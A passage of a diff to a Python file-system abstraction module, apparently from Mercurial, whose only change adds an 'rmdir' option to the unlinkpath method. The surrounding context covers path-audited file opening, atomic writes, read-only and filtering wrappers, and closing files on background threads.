             return fp.writelines(data)
 
     def append(self, path, data):
         with self(path, 'ab') as fp:
             return fp.write(data)
 
     def basename(self, path):
         """return base element of a path (as os.path.basename would do)
 
         This exists to allow handling of strange encoding if needed."""
         return os.path.basename(path)
 
     def chmod(self, path, mode):
         return os.chmod(self.join(path), mode)
 
     def dirname(self, path):
         """return dirname element of a path (as os.path.dirname would do)
 
         This exists to allow handling of strange encoding if needed."""
         return os.path.dirname(path)
 
     def exists(self, path=None):
         return os.path.exists(self.join(path))
 
     def fstat(self, fp):
         return util.fstat(fp)
 
     def isdir(self, path=None):
         return os.path.isdir(self.join(path))
 
     def isfile(self, path=None):
         return os.path.isfile(self.join(path))
 
     def islink(self, path=None):
         return os.path.islink(self.join(path))
 
     def isfileorlink(self, path=None):
         '''return whether path is a regular file or a symlink
 
         Unlike isfile, this doesn't follow symlinks.'''
         try:
             st = self.lstat(path)
         except OSError:
             return False
         mode = st.st_mode
         return stat.S_ISREG(mode) or stat.S_ISLNK(mode)
 
     def reljoin(self, *paths):
         """join various elements of a path together (as os.path.join would do)
 
         The vfs base is not injected so that path stay relative. This exists
         to allow handling of strange encoding if needed."""
         return os.path.join(*paths)
 
     def split(self, path):
         """split top-most element of a path (as os.path.split would do)
 
         This exists to allow handling of strange encoding if needed."""
         return os.path.split(path)
 
     def lexists(self, path=None):
         return os.path.lexists(self.join(path))
 
     def lstat(self, path=None):
         return os.lstat(self.join(path))
 
     def listdir(self, path=None):
         return os.listdir(self.join(path))
 
     def makedir(self, path=None, notindexed=True):
         return util.makedir(self.join(path), notindexed)
 
     def makedirs(self, path=None, mode=None):
         return util.makedirs(self.join(path), mode)
 
     def makelock(self, info, path):
         return util.makelock(info, self.join(path))
 
     def mkdir(self, path=None):
         return os.mkdir(self.join(path))
 
     def mkstemp(self, suffix='', prefix='tmp', dir=None):
         fd, name = pycompat.mkstemp(suffix=suffix, prefix=prefix,
                                     dir=self.join(dir))
         dname, fname = util.split(name)
         if dir:
             return fd, os.path.join(dir, fname)
         else:
             return fd, fname
 
     def readdir(self, path=None, stat=None, skip=None):
         return util.listdir(self.join(path), stat, skip)
 
     def readlock(self, path):
         return util.readlock(self.join(path))
 
     def rename(self, src, dst, checkambig=False):
         """Rename from src to dst
 
         checkambig argument is used with util.filestat, and is useful
         only if destination file is guarded by any lock
         (e.g. repo.lock or repo.wlock).
 
         To avoid file stat ambiguity forcibly, checkambig=True involves
         copying ``src`` file, if it is owned by another. Therefore, use
         checkambig=True only in limited cases (see also issue5418 and
         issue5584 for detail).
         """
         srcpath = self.join(src)
         dstpath = self.join(dst)
         oldstat = checkambig and util.filestat.frompath(dstpath)
         if oldstat and oldstat.stat:
             ret = util.rename(srcpath, dstpath)
             _avoidambig(dstpath, oldstat)
             return ret
         return util.rename(srcpath, dstpath)
 
     def readlink(self, path):
         return os.readlink(self.join(path))
 
     def removedirs(self, path=None):
         """Remove a leaf directory and all empty intermediate ones
         """
         return util.removedirs(self.join(path))
 
     def rmtree(self, path=None, ignore_errors=False, forcibly=False):
         """Remove a directory tree recursively
 
         If ``forcibly``, this tries to remove READ-ONLY files, too.
         """
         if forcibly:
             def onerror(function, path, excinfo):
                 if function is not os.remove:
                     raise
                 # read-only files cannot be unlinked under Windows
                 s = os.stat(path)
                 if (s.st_mode & stat.S_IWRITE) != 0:
                     raise
                 os.chmod(path, stat.S_IMODE(s.st_mode) | stat.S_IWRITE)
                 os.remove(path)
         else:
             onerror = None
         return shutil.rmtree(self.join(path),
                              ignore_errors=ignore_errors, onerror=onerror)
 
     def setflags(self, path, l, x):
         return util.setflags(self.join(path), l, x)
 
     def stat(self, path=None):
         return os.stat(self.join(path))
 
     def unlink(self, path=None):
         return util.unlink(self.join(path))
 
     def tryunlink(self, path=None):
         """Attempt to remove a file, ignoring missing file errors."""
         util.tryunlink(self.join(path))
 
-    def unlinkpath(self, path=None, ignoremissing=False):
-        return util.unlinkpath(self.join(path), ignoremissing=ignoremissing)
+    def unlinkpath(self, path=None, ignoremissing=False, rmdir=True):
+        return util.unlinkpath(self.join(path), ignoremissing=ignoremissing,
+                               rmdir=rmdir)
 
     def utime(self, path=None, t=None):
         return os.utime(self.join(path), t)
 
     def walk(self, path=None, onerror=None):
         """Yield (dirpath, dirs, files) tuple for each directories under path
 
         ``dirpath`` is relative one from the root of this vfs. This
         uses ``os.sep`` as path separator, even you specify POSIX
         style ``path``.
 
         "The root of this vfs" is represented as empty ``dirpath``.
         """
         root = os.path.normpath(self.join(None))
         # when dirpath == root, dirpath[prefixlen:] becomes empty
         # because len(dirpath) < prefixlen.
         prefixlen = len(pathutil.normasprefix(root))
         for dirpath, dirs, files in os.walk(self.join(path), onerror=onerror):
             yield (dirpath[prefixlen:], dirs, files)
 
     @contextlib.contextmanager
     def backgroundclosing(self, ui, expectedcount=-1):
         """Allow files to be closed asynchronously.
 
         When this context manager is active, ``backgroundclose`` can be passed
         to ``__call__``/``open`` to result in the file possibly being closed
         asynchronously, on a background thread.
         """
         # Sharing backgroundfilecloser between threads is complex and using
         # multiple instances puts us at risk of running out of file descriptors
         # only allow to use backgroundfilecloser when in main thread.
         if not isinstance(threading.currentThread(), threading._MainThread):
             yield
             return
         vfs = getattr(self, 'vfs', self)
         if getattr(vfs, '_backgroundfilecloser', None):
             raise error.Abort(
                 _('can only have 1 active background file closer'))
 
         with backgroundfilecloser(ui, expectedcount=expectedcount) as bfc:
             try:
                 vfs._backgroundfilecloser = bfc
                 yield bfc
             finally:
                 vfs._backgroundfilecloser = None
 
 class vfs(abstractvfs):
     '''Operate files relative to a base directory
 
     This class is used to hide the details of COW semantics and
     remote file access from higher level code.
 
     'cacheaudited' should be enabled only if (a) vfs object is short-lived, or
     (b) the base directory is managed by hg and considered sort-of append-only.
     See pathutil.pathauditor() for details.
     '''
     def __init__(self, base, audit=True, cacheaudited=False, expandpath=False,
                  realpath=False):
         if expandpath:
             base = util.expandpath(base)
         if realpath:
             base = os.path.realpath(base)
         self.base = base
         self._audit = audit
         if audit:
             self.audit = pathutil.pathauditor(self.base, cached=cacheaudited)
         else:
             self.audit = (lambda path, mode=None: True)
         self.createmode = None
         self._trustnlink = None
 
     @util.propertycache
     def _cansymlink(self):
         return util.checklink(self.base)
 
     @util.propertycache
     def _chmod(self):
         return util.checkexec(self.base)
 
     def _fixfilemode(self, name):
         if self.createmode is None or not self._chmod:
             return
         os.chmod(name, self.createmode & 0o666)
 
     def __call__(self, path, mode="r", atomictemp=False, notindexed=False,
                  backgroundclose=False, checkambig=False, auditpath=True):
         '''Open ``path`` file, which is relative to vfs root.
 
         Newly created directories are marked as "not to be indexed by
         the content indexing service", if ``notindexed`` is specified
         for "write" mode access.
 
         If ``backgroundclose`` is passed, the file may be closed asynchronously.
         It can only be used if the ``self.backgroundclosing()`` context manager
         is active. This should only be specified if the following criteria hold:
 
         1. There is a potential for writing thousands of files. Unless you
            are writing thousands of files, the performance benefits of
            asynchronously closing files is not realized.
         2. Files are opened exactly once for the ``backgroundclosing``
            active duration and are therefore free of race conditions between
            closing a file on a background thread and reopening it. (If the
            file were opened multiple times, there could be unflushed data
            because the original file handle hasn't been flushed/closed yet.)
 
         ``checkambig`` argument is passed to atomictemplfile (valid
         only for writing), and is useful only if target file is
         guarded by any lock (e.g. repo.lock or repo.wlock).
 
         To avoid file stat ambiguity forcibly, checkambig=True involves
         copying ``path`` file opened in "append" mode (e.g. for
         truncation), if it is owned by another. Therefore, use
         combination of append mode and checkambig=True only in limited
         cases (see also issue5418 and issue5584 for detail).
         '''
         if auditpath:
             if self._audit:
                 r = util.checkosfilename(path)
                 if r:
                     raise error.Abort("%s: %r" % (r, path))
             self.audit(path, mode=mode)
         f = self.join(path)
 
         if "b" not in mode:
             mode += "b" # for that other OS
 
         nlink = -1
         if mode not in ('r', 'rb'):
             dirname, basename = util.split(f)
             # If basename is empty, then the path is malformed because it points
             # to a directory. Let the posixfile() call below raise IOError.
             if basename:
                 if atomictemp:
                     util.makedirs(dirname, self.createmode, notindexed)
                     return util.atomictempfile(f, mode, self.createmode,
                                                checkambig=checkambig)
                 try:
                     if 'w' in mode:
                         util.unlink(f)
                         nlink = 0
                     else:
                         # nlinks() may behave differently for files on Windows
                         # shares if the file is open.
                         with util.posixfile(f):
                             nlink = util.nlinks(f)
                             if nlink < 1:
                                 nlink = 2 # force mktempcopy (issue1922)
                 except (OSError, IOError) as e:
                     if e.errno != errno.ENOENT:
                         raise
                     nlink = 0
                     util.makedirs(dirname, self.createmode, notindexed)
                 if nlink > 0:
                     if self._trustnlink is None:
                         self._trustnlink = nlink > 1 or util.checknlink(f)
                     if nlink > 1 or not self._trustnlink:
                         util.rename(util.mktempcopy(f), f)
         fp = util.posixfile(f, mode)
         if nlink == 0:
             self._fixfilemode(f)
 
         if checkambig:
             if mode in ('r', 'rb'):
                 raise error.Abort(_('implementation error: mode %s is not'
                                     ' valid for checkambig=True') % mode)
             fp = checkambigatclosing(fp)
 
         if (backgroundclose and
                 isinstance(threading.currentThread(), threading._MainThread)):
             if not self._backgroundfilecloser:
                 raise error.Abort(_('backgroundclose can only be used when a '
                                   'backgroundclosing context manager is active')
                                   )
 
             fp = delayclosedfile(fp, self._backgroundfilecloser)
 
         return fp
 
     def symlink(self, src, dst):
         self.audit(dst)
         linkname = self.join(dst)
         util.tryunlink(linkname)
 
         util.makedirs(os.path.dirname(linkname), self.createmode)
 
         if self._cansymlink:
             try:
                 os.symlink(src, linkname)
             except OSError as err:
                 raise OSError(err.errno, _('could not symlink to %r: %s') %
                               (src, encoding.strtolocal(err.strerror)),
                               linkname)
         else:
             self.write(dst, src)
 
     def join(self, path, *insidef):
         if path:
             return os.path.join(self.base, path, *insidef)
         else:
             return self.base
 
 opener = vfs
 
 class proxyvfs(object):
     def __init__(self, vfs):
         self.vfs = vfs
 
     @property
     def options(self):
         return self.vfs.options
 
     @options.setter
     def options(self, value):
         self.vfs.options = value
 
 class filtervfs(abstractvfs, proxyvfs):
     '''Wrapper vfs for filtering filenames with a function.'''
 
     def __init__(self, vfs, filter):
         proxyvfs.__init__(self, vfs)
         self._filter = filter
 
     def __call__(self, path, *args, **kwargs):
         return self.vfs(self._filter(path), *args, **kwargs)
 
     def join(self, path, *insidef):
         if path:
             return self.vfs.join(self._filter(self.vfs.reljoin(path, *insidef)))
         else:
             return self.vfs.join(path)
 
 filteropener = filtervfs
 
 class readonlyvfs(abstractvfs, proxyvfs):
     '''Wrapper vfs preventing any writing.'''
 
     def __init__(self, vfs):
         proxyvfs.__init__(self, vfs)
 
     def __call__(self, path, mode='r', *args, **kw):
         if mode not in ('r', 'rb'):
             raise error.Abort(_('this vfs is read only'))
         return self.vfs(path, mode, *args, **kw)
 
     def join(self, path, *insidef):
         return self.vfs.join(path, *insidef)
 
 class closewrapbase(object):
     """Base class of wrapper, which hooks closing
 
     Do not instantiate outside of the vfs layer.
     """
     def __init__(self, fh):
         object.__setattr__(self, r'_origfh', fh)
 
     def __getattr__(self, attr):
         return getattr(self._origfh, attr)
 
     def __setattr__(self, attr, value):
         return setattr(self._origfh, attr, value)
 
     def __delattr__(self, attr):
         return delattr(self._origfh, attr)
 
     def __enter__(self):
         return self._origfh.__enter__()
 
     def __exit__(self, exc_type, exc_value, exc_tb):
         raise NotImplementedError('attempted instantiating ' + str(type(self)))
 
     def close(self):
         raise NotImplementedError('attempted instantiating ' + str(type(self)))
 
 class delayclosedfile(closewrapbase):
     """Proxy for a file object whose close is delayed.
 
     Do not instantiate outside of the vfs layer.
     """
     def __init__(self, fh, closer):
         super(delayclosedfile, self).__init__(fh)
         object.__setattr__(self, r'_closer', closer)
 
     def __exit__(self, exc_type, exc_value, exc_tb):
         self._closer.close(self._origfh)
 
     def close(self):
         self._closer.close(self._origfh)
 
 class backgroundfilecloser(object):
     """Coordinates background closing of file handles on multiple threads."""
     def __init__(self, ui, expectedcount=-1):
         self._running = False
         self._entered = False
         self._threads = []
         self._threadexception = None
 
         # Only Windows/NTFS has slow file closing. So only enable by default
         # on that platform. But allow to be enabled elsewhere for testing.
         defaultenabled = pycompat.iswindows
         enabled = ui.configbool('worker', 'backgroundclose', defaultenabled)
 
         if not enabled:
             return
 
         # There is overhead to starting and stopping the background threads.
         # Don't do background processing unless the file count is large enough
         # to justify it.
         minfilecount = ui.configint('worker', 'backgroundcloseminfilecount')
         # FUTURE dynamically start background threads after minfilecount closes.
         # (We don't currently have any callers that don't know their file count)
         if expectedcount > 0 and expectedcount < minfilecount:
             return
 
         maxqueue = ui.configint('worker', 'backgroundclosemaxqueue')
         threadcount = ui.configint('worker', 'backgroundclosethreadcount')
 
         ui.debug('starting %d threads for background file closing\n' %
                  threadcount)
 
         self._queue = pycompat.queue.Queue(maxsize=maxqueue)
         self._running = True
 
         for i in range(threadcount):
             t = threading.Thread(target=self._worker, name='backgroundcloser')
             self._threads.append(t)
             t.start()
 
     def __enter__(self):
         self._entered = True
         return self
 
     def __exit__(self, exc_type, exc_value, exc_tb):
         self._running = False
 
         # Wait for threads to finish closing so open files don't linger for
         # longer than lifetime of context manager.
         for t in self._threads:
             t.join()
 
     def _worker(self):
         """Main routine for worker thread."""
         while True:
             try:
                 fh = self._queue.get(block=True, timeout=0.100)
                 # Need to catch or the thread will terminate and
                 # we could orphan file descriptors.
                 try:
                     fh.close()
                 except Exception as e:
                     # Stash so can re-raise from main thread later.
                     self._threadexception = e
             except pycompat.queue.Empty:
                 if not self._running:
                     break
 
     def close(self, fh):
         """Schedule a file for closing."""
         if not self._entered:
             raise error.Abort(_('can only call close() when context manager '
                               'active'))
 
         # If a background thread encountered an exception, raise now so we fail
         # fast. Otherwise we may potentially go on for minutes until the error
         # is acted on.
         if self._threadexception:
             e = self._threadexception
             self._threadexception = None
             raise e
 
         # If we're not actively running, close synchronously.
         if not self._running:
             fh.close()
             return
 
         self._queue.put(fh, block=True, timeout=None)
 
 class checkambigatclosing(closewrapbase):
     """Proxy for a file object, to avoid ambiguity of file stat
 
     See also util.filestat for detail about "ambiguity of file stat".
 
     This proxy is useful only if the target file is guarded by any
     lock (e.g. repo.lock or repo.wlock)
 
     Do not instantiate outside of the vfs layer.
     """
     def __init__(self, fh):
         super(checkambigatclosing, self).__init__(fh)
         object.__setattr__(self, r'_oldstat', util.filestat.frompath(fh.name))
 
     def _checkambig(self):
         oldstat = self._oldstat
         if oldstat.stat:
             _avoidambig(self._origfh.name, oldstat)
 
     def __exit__(self, exc_type, exc_value, exc_tb):
         self._origfh.__exit__(exc_type, exc_value, exc_tb)
         self._checkambig()
 
     def close(self):
         self._origfh.close()
         self._checkambig()